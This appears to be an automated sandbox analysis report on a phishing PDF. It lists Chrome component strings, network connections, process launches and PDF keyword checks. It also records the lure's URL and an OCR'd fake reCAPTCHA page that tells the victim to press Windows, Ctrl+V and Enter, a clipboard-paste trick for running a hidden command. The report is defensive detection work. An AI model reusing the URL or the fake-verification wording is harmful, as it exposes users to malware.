Source: sets.json.8.dr	String found in binary or memory: https://journaldesfemmes.com
Source: sets.json.8.dr	String found in binary or memory: https://journaldesfemmes.fr
Source: sets.json.8.dr	String found in binary or memory: https://journaldunet.com
Source: sets.json.8.dr	String found in binary or memory: https://journaldunet.fr
Source: sets.json.8.dr	String found in binary or memory: https://joyreactor.cc
Source: sets.json.8.dr	String found in binary or memory: https://joyreactor.com
Source: sets.json.8.dr	String found in binary or memory: https://kaksya.in
Source: sets.json.8.dr	String found in binary or memory: https://knowledgebase.com
Source: sets.json.8.dr	String found in binary or memory: https://kompas.com
Source: sets.json.8.dr	String found in binary or memory: https://kompas.tv
Source: sets.json.8.dr	String found in binary or memory: https://kompasiana.com
Source: sets.json.8.dr	String found in binary or memory: https://lanacion.com.ar
Source: sets.json.8.dr	String found in binary or memory: https://landyrev.com
Source: sets.json.8.dr	String found in binary or memory: https://landyrev.ru
Source: sets.json.8.dr	String found in binary or memory: https://laprensagrafica.com
Source: sets.json.8.dr	String found in binary or memory: https://lateja.cr
Source: sets.json.8.dr	String found in binary or memory: https://libero.it
Source: sets.json.8.dr	String found in binary or memory: https://linternaute.com
Source: sets.json.8.dr	String found in binary or memory: https://linternaute.fr
Source: sets.json.8.dr	String found in binary or memory: https://livechat.com
Source: sets.json.8.dr	String found in binary or memory: https://livechatinc.com
Source: sets.json.8.dr	String found in binary or memory: https://livehindustan.com
Source: sets.json.8.dr	String found in binary or memory: https://livemint.com
Source: sets.json.8.dr	String found in binary or memory: https://max.auto
Source: sets.json.8.dr	String found in binary or memory: https://medonet.pl
Source: sets.json.8.dr	String found in binary or memory: https://meo.pt
Source: sets.json.8.dr	String found in binary or memory: https://mercadolibre.cl
Source: sets.json.8.dr	String found in binary or memory: https://mercadolibre.co.cr
Source: sets.json.8.dr	String found in binary or memory: https://mercadolibre.com
Source: sets.json.8.dr	String found in binary or memory: https://mercadolibre.com.ar
Source: sets.json.8.dr	String found in binary or memory: https://mercadolibre.com.bo
Source: sets.json.8.dr	String found in binary or memory: https://mercadolibre.com.co
Source: sets.json.8.dr	String found in binary or memory: https://mercadolibre.com.do
Source: sets.json.8.dr	String found in binary or memory: https://mercadolibre.com.ec
Source: sets.json.8.dr	String found in binary or memory: https://mercadolibre.com.gt
Source: sets.json.8.dr	String found in binary or memory: https://mercadolibre.com.hn
Source: sets.json.8.dr	String found in binary or memory: https://mercadolibre.com.mx
Source: sets.json.8.dr	String found in binary or memory: https://mercadolibre.com.ni
Source: sets.json.8.dr	String found in binary or memory: https://mercadolibre.com.pa
Source: sets.json.8.dr	String found in binary or memory: https://mercadolibre.com.pe
Source: sets.json.8.dr	String found in binary or memory: https://mercadolibre.com.py
Source: sets.json.8.dr	String found in binary or memory: https://mercadolibre.com.sv
Source: sets.json.8.dr	String found in binary or memory: https://mercadolibre.com.uy
Source: sets.json.8.dr	String found in binary or memory: https://mercadolibre.com.ve
Source: sets.json.8.dr	String found in binary or memory: https://mercadolivre.com
Source: sets.json.8.dr	String found in binary or memory: https://mercadolivre.com.br
Source: sets.json.8.dr	String found in binary or memory: https://mercadopago.cl
Source: sets.json.8.dr	String found in binary or memory: https://mercadopago.com
Source: sets.json.8.dr	String found in binary or memory: https://mercadopago.com.ar
Source: sets.json.8.dr	String found in binary or memory: https://mercadopago.com.br
Source: sets.json.8.dr	String found in binary or memory: https://mercadopago.com.co
Source: sets.json.8.dr	String found in binary or memory: https://mercadopago.com.ec
Source: sets.json.8.dr	String found in binary or memory: https://mercadopago.com.mx
Source: sets.json.8.dr	String found in binary or memory: https://mercadopago.com.pe
Source: sets.json.8.dr	String found in binary or memory: https://mercadopago.com.uy
Source: sets.json.8.dr	String found in binary or memory: https://mercadopago.com.ve
Source: sets.json.8.dr	String found in binary or memory: https://mercadoshops.cl
Source: sets.json.8.dr	String found in binary or memory: https://mercadoshops.com
Source: sets.json.8.dr	String found in binary or memory: https://mercadoshops.com.ar
Source: sets.json.8.dr	String found in binary or memory: https://mercadoshops.com.br
Source: sets.json.8.dr	String found in binary or memory: https://mercadoshops.com.co
Source: sets.json.8.dr	String found in binary or memory: https://mercadoshops.com.mx
Source: sets.json.8.dr	String found in binary or memory: https://mighty-app.appspot.com
Source: sets.json.8.dr	String found in binary or memory: https://mightytext.net
Source: sets.json.8.dr	String found in binary or memory: https://mittanbud.no
Source: sets.json.8.dr	String found in binary or memory: https://money.pl
Source: sets.json.8.dr	String found in binary or memory: https://motherandbaby.com
Source: sets.json.8.dr	String found in binary or memory: https://mystudentdashboard.com
Source: sets.json.8.dr	String found in binary or memory: https://nacion.com
Source: sets.json.8.dr	String found in binary or memory: https://naukri.com
Source: sets.json.8.dr	String found in binary or memory: https://nidhiacademyonline.com
Source: sets.json.8.dr	String found in binary or memory: https://nien.co
Source: sets.json.8.dr	String found in binary or memory: https://nien.com
Source: sets.json.8.dr	String found in binary or memory: https://nien.org
Source: sets.json.8.dr	String found in binary or memory: https://nlc.hu
Source: sets.json.8.dr	String found in binary or memory: https://nosalty.hu
Source: sets.json.8.dr	String found in binary or memory: https://noticiascaracol.com
Source: sets.json.8.dr	String found in binary or memory: https://nourishingpursuits.com
Source: sets.json.8.dr	String found in binary or memory: https://nvidia.com
Source: sets.json.8.dr	String found in binary or memory: https://o2.pl
Source: sets.json.8.dr	String found in binary or memory: https://ocdn.eu
Source: sets.json.8.dr	String found in binary or memory: https://onet.pl
Source: sets.json.8.dr	String found in binary or memory: https://ottplay.com
Source: sets.json.8.dr	String found in binary or memory: https://p106.net
Source: sets.json.8.dr	String found in binary or memory: https://p24.hu
Source: sets.json.8.dr	String found in binary or memory: https://paula.com.uy
Source: sets.json.8.dr	String found in binary or memory: https://pdmp-apis.no
Source: sets.json.8.dr	String found in binary or memory: https://phonandroid.com
Source: sets.json.8.dr	String found in binary or memory: https://player.pl
Source: sets.json.8.dr	String found in binary or memory: https://plejada.pl
Source: sets.json.8.dr	String found in binary or memory: https://poalim.site
Source: sets.json.8.dr	String found in binary or memory: https://poalim.xyz
Source: sets.json.8.dr	String found in binary or memory: https://pomponik.pl
Source: sets.json.8.dr	String found in binary or memory: https://portalinmobiliario.com
Source: sets.json.8.dr	String found in binary or memory: https://prisjakt.no
Source: sets.json.8.dr	String found in binary or memory: https://pudelek.pl
Source: sets.json.8.dr	String found in binary or memory: https://punjabijagran.com
Source: chromecache_277.9.dr	String found in binary or memory: https://q-xx.bstatic.com/backend_static/common/flags/new/48-squared/us.png
Source: sets.json.8.dr	String found in binary or memory: https://radio1.be
Source: sets.json.8.dr	String found in binary or memory: https://radio2.be
Source: sets.json.8.dr	String found in binary or memory: https://reactor.cc
Source: sets.json.8.dr	String found in binary or memory: https://repid.org
Source: sets.json.8.dr	String found in binary or memory: https://reshim.org
Source: sets.json.8.dr	String found in binary or memory: https://rws1nvtvt.com
Source: sets.json.8.dr	String found in binary or memory: https://rws2nvtvt.com
Source: sets.json.8.dr	String found in binary or memory: https://rws3nvtvt.com
Source: sets.json.8.dr	String found in binary or memory: https://sackrace.ai
Source: sets.json.8.dr	String found in binary or memory: https://salemoveadvisor.com
Source: sets.json.8.dr	String found in binary or memory: https://salemovefinancial.com
Source: sets.json.8.dr	String found in binary or memory: https://salemovetravel.com
Source: sets.json.8.dr	String found in binary or memory: https://samayam.com
Source: sets.json.8.dr	String found in binary or memory: https://sapo.io
Source: sets.json.8.dr	String found in binary or memory: https://sapo.pt
Source: sets.json.8.dr	String found in binary or memory: https://shock.co
Source: sets.json.8.dr	String found in binary or memory: https://smaker.pl
Source: sets.json.8.dr	String found in binary or memory: https://smoney.vn
Source: sets.json.8.dr	String found in binary or memory: https://smpn106jkt.sch.id
Source: sets.json.8.dr	String found in binary or memory: https://socket-to-me.vip
Source: sets.json.8.dr	String found in binary or memory: https://songshare.com
Source: sets.json.8.dr	String found in binary or memory: https://songstats.com
Source: sets.json.8.dr	String found in binary or memory: https://sporza.be
Source: sets.json.8.dr	String found in binary or memory: https://standardsandpraiserepurpose.com
Source: sets.json.8.dr	String found in binary or memory: https://startlap.hu
Source: sets.json.8.dr	String found in binary or memory: https://startupislandtaiwan.com
Source: sets.json.8.dr	String found in binary or memory: https://startupislandtaiwan.net
Source: sets.json.8.dr	String found in binary or memory: https://startupislandtaiwan.org
Source: sets.json.8.dr	String found in binary or memory: https://stripe.com
Source: sets.json.8.dr	String found in binary or memory: https://stripe.network
Source: sets.json.8.dr	String found in binary or memory: https://stripecdn.com
Source: sets.json.8.dr	String found in binary or memory: https://supereva.it
Source: sets.json.8.dr	String found in binary or memory: https://takeabreak.co.uk
Source: sets.json.8.dr	String found in binary or memory: https://talkdeskqaid.com
Source: sets.json.8.dr	String found in binary or memory: https://talkdeskstgid.com
Source: sets.json.8.dr	String found in binary or memory: https://teacherdashboard.com
Source: sets.json.8.dr	String found in binary or memory: https://technology-revealed.com
Source: sets.json.8.dr	String found in binary or memory: https://terazgotuje.pl
Source: sets.json.8.dr	String found in binary or memory: https://text.com
Source: sets.json.8.dr	String found in binary or memory: https://textyserver.appspot.com
Source: sets.json.8.dr	String found in binary or memory: https://the42.ie
Source: sets.json.8.dr	String found in binary or memory: https://thejournal.ie
Source: sets.json.8.dr	String found in binary or memory: https://thirdspace.org.au
Source: sets.json.8.dr	String found in binary or memory: https://timesinternet.in
Source: sets.json.8.dr	String found in binary or memory: https://timesofindia.com
Source: sets.json.8.dr	String found in binary or memory: https://tolteck.app
Source: sets.json.8.dr	String found in binary or memory: https://tolteck.com
Source: sets.json.8.dr	String found in binary or memory: https://top.pl
Source: sets.json.8.dr	String found in binary or memory: https://tribunnews.com
Source: sets.json.8.dr	String found in binary or memory: https://trytalkdesk.com
Source: sets.json.8.dr	String found in binary or memory: https://tucarro.com
Source: sets.json.8.dr	String found in binary or memory: https://tucarro.com.co
Source: sets.json.8.dr	String found in binary or memory: https://tucarro.com.ve
Source: sets.json.8.dr	String found in binary or memory: https://tvid.in
Source: sets.json.8.dr	String found in binary or memory: https://tvn.pl
Source: sets.json.8.dr	String found in binary or memory: https://tvn24.pl
Source: sets.json.8.dr	String found in binary or memory: https://unotv.com
Source: sets.json.8.dr	String found in binary or memory: https://victorymedium.com
Source: sets.json.8.dr	String found in binary or memory: https://vrt.be
Source: sets.json.8.dr	String found in binary or memory: https://vwo.com
Source: sets.json.8.dr	String found in binary or memory: https://welt.de
Source: sets.json.8.dr	String found in binary or memory: https://wieistmeineip.de
Source: sets.json.8.dr	String found in binary or memory: https://wildix.com
Source: sets.json.8.dr	String found in binary or memory: https://wildixin.com
Source: sets.json.8.dr	String found in binary or memory: https://wingify.com
Source: sets.json.8.dr	String found in binary or memory: https://wordle.at
Source: sets.json.8.dr	String found in binary or memory: https://wp.pl
Source: sets.json.8.dr	String found in binary or memory: https://wpext.pl
Source: sets.json.8.dr	String found in binary or memory: https://www.asadcdn.com
Source: chromecache_277.9.dr	String found in binary or memory: https://www.gstatic.com/recaptcha/api2/logo_48.png
Source: sets.json.8.dr	String found in binary or memory: https://ya.ru
Source: sets.json.8.dr	String found in binary or memory: https://yours.co.uk
Source: sets.json.8.dr	String found in binary or memory: https://zalo.me
Source: sets.json.8.dr	String found in binary or memory: https://zdrowietvn.pl
Source: sets.json.8.dr	String found in binary or memory: https://zingmp3.vn
Source: sets.json.8.dr	String found in binary or memory: https://zoom.com
Source: sets.json.8.dr	String found in binary or memory: https://zoom.us

Source: unknown	Network traffic detected: HTTP traffic on port 49674 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49720
Source: unknown	Network traffic detected: HTTP traffic on port 61459 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 61465 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 61488 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 61492 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 61492
Source: unknown	Network traffic detected: HTTP traffic on port 61503 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 55667
Source: unknown	Network traffic detected: HTTP traffic on port 61505 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 55669
Source: unknown	Network traffic detected: HTTP traffic on port 55671 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 55670
Source: unknown	Network traffic detected: HTTP traffic on port 49720 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 61469
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 55671
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 61503
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 55672
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 61505
Source: unknown	Network traffic detected: HTTP traffic on port 61481 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 61465
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 61487
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 61488
Source: unknown	Network traffic detected: HTTP traffic on port 61487 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49675 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49673 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 61480
Source: unknown	Network traffic detected: HTTP traffic on port 61458 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 61481
Source: unknown	Network traffic detected: HTTP traffic on port 49703 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 61431 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 55672 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 55670 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 61458
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 61459
Source: unknown	Network traffic detected: HTTP traffic on port 61469 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 61494 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 61494
Source: unknown	Network traffic detected: HTTP traffic on port 61480 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 55669 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 61431
Source: unknown	Network traffic detected: HTTP traffic on port 55667 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49703

Source: C:\Program Files\Google\Chrome\Application\chrome.exe	File created: C:\Windows\SystemTemp\chrome_PuffinComponentUnpacker_BeginUnzipping7724_2023974630	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	File created: C:\Windows\SystemTemp\chrome_PuffinComponentUnpacker_BeginUnzipping7724_2023974630\sets.json	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	File created: C:\Windows\SystemTemp\chrome_PuffinComponentUnpacker_BeginUnzipping7724_2023974630\manifest.json	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	File created: C:\Windows\SystemTemp\chrome_PuffinComponentUnpacker_BeginUnzipping7724_2023974630\LICENSE	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	File created: C:\Windows\SystemTemp\chrome_PuffinComponentUnpacker_BeginUnzipping7724_2023974630\_metadata\	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	File created: C:\Windows\SystemTemp\chrome_PuffinComponentUnpacker_BeginUnzipping7724_2023974630\_metadata\verified_contents.json	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	File created: C:\Windows\SystemTemp\chrome_PuffinComponentUnpacker_BeginUnzipping7724_2023974630\manifest.fingerprint	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	File created: C:\Windows\SystemTemp\chrome_PuffinComponentUnpacker_BeginUnzipping7724_1931219489	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	File created: C:\Windows\SystemTemp\chrome_PuffinComponentUnpacker_BeginUnzipping7724_1931219489\Google.Widevine.CDM.dll	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	File created: C:\Windows\SystemTemp\chrome_PuffinComponentUnpacker_BeginUnzipping7724_1931219489\manifest.json	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	File created: C:\Windows\SystemTemp\chrome_PuffinComponentUnpacker_BeginUnzipping7724_1931219489\_metadata\	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	File created: C:\Windows\SystemTemp\chrome_PuffinComponentUnpacker_BeginUnzipping7724_1931219489\_metadata\verified_contents.json	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	File created: C:\Windows\SystemTemp\chrome_PuffinComponentUnpacker_BeginUnzipping7724_1931219489\manifest.fingerprint	Jump to behavior

Source: C:\Program Files\Google\Chrome\Application\chrome.exe

File deleted: C:\Windows\SystemTemp\chrome_BITS_7724_1918515933

Jump to behavior

Source: Google.Widevine.CDM.dll.8.dr

Static PE information: Number of sections : 12 > 10

Source: classification engine

Classification label: mal84.phis.winPDF@47/81@8/9

Source: iRMbIIEjhP.pdf

Initial sample: https://clintonmakes.com/215c/#7ihbo

Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe

File created: C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SharedDataEvents-journal

Jump to behavior

Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe

File created: C:\Users\user\AppData\Local\Temp\acrobat_sbx\NGL\NGLClient_AcrobatReader123.6.20320.6 2025-01-16 11-19-35-493.log

Jump to behavior

Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe

Key opened: HKEY_CURRENT_USER\Software\Policies\Microsoft\SystemCertificates\CA

Jump to behavior

Source: unknown	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe" "C:\Users\user\Desktop\iRMbIIEjhP.pdf"
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --backgroundcolor=16777215
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --log-severity=disable --user-agent-product="ReaderServices/23.6.20320 Chrome/105.0.0.0" --lang=en-US --user-data-dir="C:\Users\user\AppData\Local\CEF\User Data" --log-file="C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\debug.log" --mojo-platform-channel-handle=2132 --field-trial-handle=1508,i,8264622678138486168,971824510613183442,131072 --disable-features=BackForwardCache,CalculateNativeWinOcclusion,WinUseBrowserSpellChecker /prefetch:8
Source: unknown	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --start-maximized "https://clintonmakes.com/215c/#7ihbo"
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2544 --field-trial-handle=2520,i,9976915525274287468,7701415393893872558,262144 /prefetch:8
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --backgroundcolor=16777215	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --log-severity=disable --user-agent-product="ReaderServices/23.6.20320 Chrome/105.0.0.0" --lang=en-US --user-data-dir="C:\Users\user\AppData\Local\CEF\User Data" --log-file="C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\debug.log" --mojo-platform-channel-handle=2132 --field-trial-handle=1508,i,8264622678138486168,971824510613183442,131072 --disable-features=BackForwardCache,CalculateNativeWinOcclusion,WinUseBrowserSpellChecker /prefetch:8	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2544 --field-trial-handle=2520,i,9976915525274287468,7701415393893872558,262144 /prefetch:8	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior

Source: Google Drive.lnk.8.dr	LNK file: ..\..\..\..\..\..\..\..\..\Program Files\Google\Chrome\Application\chrome_proxy.exe
Source: YouTube.lnk.8.dr	LNK file: ..\..\..\..\..\..\..\..\..\Program Files\Google\Chrome\Application\chrome_proxy.exe
Source: Sheets.lnk.8.dr	LNK file: ..\..\..\..\..\..\..\..\..\Program Files\Google\Chrome\Application\chrome_proxy.exe
Source: Gmail.lnk.8.dr	LNK file: ..\..\..\..\..\..\..\..\..\Program Files\Google\Chrome\Application\chrome_proxy.exe
Source: Slides.lnk.8.dr	LNK file: ..\..\..\..\..\..\..\..\..\Program Files\Google\Chrome\Application\chrome_proxy.exe
Source: Docs.lnk.8.dr	LNK file: ..\..\..\..\..\..\..\..\..\Program Files\Google\Chrome\Application\chrome_proxy.exe

Source: Window Recorder

Window detected: More than 3 window changes detected

Source:

Binary string: Google.Widevine.CDM.dll.pdb source: Google.Widevine.CDM.dll.8.dr

Source: iRMbIIEjhP.pdf	Initial sample: PDF keyword /JS count = 0
Source: iRMbIIEjhP.pdf	Initial sample: PDF keyword /JavaScript count = 0

Source: iRMbIIEjhP.pdf

Initial sample: PDF keyword /EmbeddedFile count = 0

Source: iRMbIIEjhP.pdf

Initial sample: PDF keyword /OpenAction

Source: Google.Widevine.CDM.dll.8.dr	Static PE information: section name: .00cfg
Source: Google.Widevine.CDM.dll.8.dr	Static PE information: section name: .gxfg
Source: Google.Widevine.CDM.dll.8.dr	Static PE information: section name: .retplne
Source: Google.Widevine.CDM.dll.8.dr	Static PE information: section name: .voltbl
Source: Google.Widevine.CDM.dll.8.dr	Static PE information: section name: _RDATA

Persistence and Installation Behavior

Detect drive by download via clipboard copy & paste

Source: screenshot

OCR Text: 800king.com C fixecondfirbook.info p Type here to search I'm not a robot Verification Steps 1. Press Windows Button " 2. Press CTRL + V 3. Press Enter recAPTCHA ENG SG 1 1:21 16/01/2025

Source: C:\Program Files\Google\Chrome\Application\chrome.exe

File created: C:\Windows\SystemTemp\chrome_PuffinComponentUnpacker_BeginUnzipping7724_1931219489\Google.Widevine.CDM.dll

Jump to dropped file

Source: C:\Program Files\Google\Chrome\Application\chrome.exe

File created: C:\Windows\SystemTemp\chrome_PuffinComponentUnpacker_BeginUnzipping7724_1931219489\Google.Widevine.CDM.dll

Jump to dropped file

Source: C:\Program Files\Google\Chrome\Application\chrome.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Google Drive.lnk	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\YouTube.lnk	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Sheets.lnk	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Gmail.lnk	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Slides.lnk	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Docs.lnk	Jump to behavior

Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
